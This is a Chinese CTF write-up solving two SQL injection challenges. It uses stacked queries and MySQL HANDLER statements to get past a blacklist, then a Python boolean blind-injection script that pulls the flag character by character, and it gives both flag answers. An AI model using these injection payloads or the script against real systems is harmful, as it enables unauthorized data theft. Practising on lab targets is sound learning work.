[GYCTF2020]Blacklist1
启动靶机,点击查询
之前做过一道类似的( 可以看我之前写的 wp中的第二题 [强网杯 2019]随便注),这里就不啰嗦了,直接堆叠查询
1';show tables;#
发现了一个名叫FlagHere的表,看看有几列
1';show columns from `FlagHere`;#
直接查flag
1';PREPARE dingzhen from concat('s','elect', ' * from `FlagHere` ');EXECUTE dingzhen;#
被黑名单拦下了,看来本题使用拼接是绕不过黑名单的。尝试handler 命令查询
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
拿到flag flag{97ecce33-2493-460b-97b4-a7663f4d1670}
关于handler命令,可以看看这位大佬的文章mysql查询语句-handler_jesseyoung的博客-CSDN博客
[CISCN2019 华北赛区 Day2 Web1]Hack World1
启动靶机,发现提示说flag就在flag表里。先随便输入看看。经过几次测试,发现当输入为1,2的时候有正确回显,其他数字都会提示有错误
再测试字母或字符发现提示
应该是数字型注入,加减乘除试一遍,发现只有/不会被过滤
再测试发现=也不会被过滤
既然=没有被过滤,直接就往bool盲注方向尝试,先尝试if语句是否被过滤
if(1=2,1,2)
下面的会显语句对应值为2,看来可以通过if语句来实现bool盲注
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
回显果然是查询1对应的回显,编写脚本进行爆破(也可以使用burp的intruder进行爆破)
找个写好的脚本,把url换成当前靶机的url
import requests
url = 'http://9d75bf0c-9633-4ce2-89f5-50864a2c1452.node4.buuoj.cn:81/index.php'
result = ''
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
运行
拿到flag flag{0095d72f-41db-4964-89dd-697dd7332fc7}